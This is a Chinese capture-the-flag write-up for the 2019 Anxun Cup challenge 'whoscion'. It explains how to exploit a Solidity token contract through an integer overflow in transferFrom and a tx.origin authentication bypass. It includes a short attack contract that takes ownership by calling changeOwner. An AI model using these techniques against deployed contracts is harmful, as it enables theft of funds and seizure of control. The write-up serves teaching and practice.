whoscion

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Misc
Challenge | 2019 | 安洵杯 | Misc | whoscion

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

- *区块链*
- *solidity逆向*
- *整数溢出*
- *tx.origin鉴权绕过*

解题思路

这个合约的逻辑很简单，获取flag需要代币余额大于10000并且成为合约所有者。

transferFrom函数存在溢出，用合约创建账户向自己账户转大于10000代币即可；

合约用tx.origin判断合约调用者，构造一个新合约来调用源合约就可以绕过。

exp代码如下：

```
pragma solidity ^0.4.18;

contract hpcoin1 {
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;
    address public owner;

    function approve(address _arg0, uint256 _arg1) public {
    }
    function transferFrom(address _arg0, address _arg1, uint256 _arg2) public {
    }
    function payforflag(string b64email) public {
    }
    function changeOwner(address _arg0) {
    }

}

contract attack {
    hpcoin1 exp;

    function attack(address addr) {
        exp = hpcoin1(addr);
    }
    function hack() {
        exp.changeOwner(tx.origin);
    }
}
```


 # Challenge # Misc # 2019 # 安洵杯
Attack
easy misc